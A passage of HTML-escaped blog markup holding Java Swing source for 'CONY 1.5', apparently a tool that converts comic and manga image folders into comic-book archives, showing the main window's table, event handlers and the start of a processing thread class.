javax.swing.ImageIcon(getClass().getResource("/otros/ds_logo.png")) ,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; new javax.swing.ImageIcon(getClass().getResource("/otros/psp_logo.png")),&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; new javax.swing.ImageIcon(getClass().getResource("/otros/favIcon.png")) });&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;javax.swing.JPanel pPal = new javax.swing.JPanel();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;modelo = new javax.swing.table.DefaultTableModel(){&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public Class getColumnClass(int columnIndex) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (columnIndex == modelo.findColumn("En Linea") || columnIndex == modelo.findColumn("Manga")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;return Boolean.class;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (columnIndex == modelo.findColumn("Paquete")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;return javax.swing.ImageIcon.class;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if (columnIndex == modelo.findColumn("Origen")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;return java.util.Vector.class;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return super.getColumnClass(columnIndex);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public java.util.Vector getDataVector() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;java.util.Vector vector = new java.util.Vector();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;vector.addElement(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;vector.addElement(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;vector.addElement((javax.swing.ImageIcon)cBox.getSelectedItem());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;vector.addElement(new java.util.Vector());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;vector.addElement("");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;vector.addElement("");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;vector.addElement("");&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;return vector;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;modelo.setColumnIdentifiers(new String[] {"En Linea", "Manga", "Paquete", "Origen", "Titulo", "Autor", "Estado"});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;modelo.addRow( modelo.getDataVector() );&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;tLista = new javax.swing.JTable(modelo) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public boolean isCellEditable(int row, int column) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(tLista.getValueAt(row, modelo.findColumn("Estado")).toString().startsWith("Pag") ||&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; column == modelo.findColumn("Origen") || column == modelo.findColumn("Estado")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;return false;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} &amp;nbsp;return true;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;tLista.addKeyListener(new java.awt.event.KeyAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyPressed(java.awt.event.KeyEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if(e.getKeyCode() == java.awt.event.KeyEvent.VK_INSERT) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;//nuevo.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;modelo.addRow(modelo.getDataVector());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if(e.getKeyCode() == java.awt.event.KeyEvent.VK_DELETE) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;//eliminar.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;do {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;modelo.removeRow(tLista.getSelectedRow());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;} while(tLista.getSelectedRowCount() != 0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (Exception exception) {}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;(tLista.getColumnModel().getColumn(modelo.findColumn("Paquete"))).setCellEditor(new javax.swing.DefaultCellEditor(cBox));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;DefaultTableCellRenderer renderer = &amp;nbsp;new DefaultTableCellRenderer();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;renderer.setToolTipText("Click for combo box");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tLista.getColumnModel().getColumn(modelo.findColumn("Estado")).setCellRenderer(renderer);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;tLista.addMouseListener(new java.awt.event.MouseAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mousePressed(java.awt.event.MouseEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (e.getClickCount() == 2 &amp;amp;&amp;amp; !tLista.getValueAt(tLista.getSelectedRow(), modelo.findColumn("Estado")).toString().startsWith("Pag")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if(tLista.getSelectedColumn() == modelo.findColumn("Origen")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;new Fuente(tLista.getValueAt(tLista.getSelectedRow(),&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;             &lt;/span&gt; modelo.findColumn("En Linea")).equals(true),&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;             &lt;/span&gt; tLista.getSelectedRow(), modelo);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (tLista.getSelectedColumn() == modelo.findColumn("Estado")&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;&amp;amp;&amp;amp; !tLista.getValueAt(tLista.getSelectedRow(),modelo.findColumn("Origen")).toString().equalsIgnoreCase("")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;tLista.setValueAt(tLista.getValueAt(tLista.getSelectedRow(),&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;          &lt;/span&gt; &amp;nbsp;tLista.getSelectedColumn()).equals("Tratar")?"Ignorar":"Tratar",&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;          &lt;/span&gt; &amp;nbsp;tLista.getSelectedRow(), tLista.getSelectedColumn());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});/**/&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;tLista.getColumnModel().getColumn(0).setPreferredWidth(5);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;tLista.getColumnModel().getColumn(1).setPreferredWidth(5);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;tLista.getColumnModel().getColumn(2).setPreferredWidth(5);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;cLista = tLista.getTableHeader();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;cLista.addMouseListener(new java.awt.event.MouseAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseClicked(java.awt.event.MouseEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getClickCount() == 2 &amp;amp;&amp;amp; cLista.getCursor().getType() == java.awt.Cursor.E_RESIZE_CURSOR) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;int i = cLista.columnAtPoint(Principal.this.getMousePosition())-1 == -2&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;? modelo.getColumnCount()-1&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;: cLista.columnAtPoint(Principal.this.getMousePosition())-1;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;javax.swing.table.TableColumn col = cLista.getColumnModel().getColumn(i);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;int width = getFontMetrics(getFont()).stringWidth(col.getIdentifier().toString());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;for(int j = 0; j &amp;lt; tLista.getRowCount();j++) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;int aux = getFontMetrics(getFont()).stringWidth(tLista.getValueAt(j, i).toString());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if(aux &amp;gt; width)&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;width = aux;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;col.setPreferredWidth(width);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} super.mouseClicked(e);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;scroll = new javax.swing.JScrollPane(tLista);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;scroll.setPreferredSize(new java.awt.Dimension(800, 225));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(scroll);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnAccion = new JButton( "Iniciar Proceso de Transformación" );&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnAccion.addMouseListener(new java.awt.event.MouseAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseClicked(java.awt.event.MouseEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (!btnAccion.getText().equals("Cancelar")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;proceso = new HiloProceso( Principal.this );&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;proceso.cancelar();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;btnAccion.setPreferredSize(new java.awt.Dimension(800, 23));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(btnAccion);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;add(pPal);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void paint(java.awt.Graphics g) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;scroll.setPreferredSize(new java.awt.Dimension(this.getWidth() - 30,this.getHeight() - 75));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnAccion.setPreferredSize(new java.awt.Dimension(this.getWidth() - 30, 23));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;super.paint(g);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String[] args) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal ui = new Principal();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ui.setTitle("CONY 1.5 - JComicBook formato - Java Zone");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ui.setIconImage(java.awt.Toolkit.getDefaultToolkit().getImage(ui.getClass().getResource("/otros/manga.png")));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ui.setDefaultCloseOperation(javax.swing.JFrame.EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ui.setLocationByPlatform(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;ui.setSize(830, 300);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;ui.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Clase HiloProceso&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.RenderingHints;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.geom.AffineTransform;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.image.AffineTransformOp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.image.BufferedImage;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.io.File;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.io.FileInputStream;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.io.FileOutputStream;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.util.zip.ZipEntry;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.util.zip.ZipOutputStream;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.imageio.ImageIO;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class HiloProceso extends Thread {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private static java.net.URL url = null;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private static File[] dir = null;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private static FileInputStream fis;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private static byte[] buffer = new byte[1024];&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private static int leido, indice, nrPag, i = 0;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" 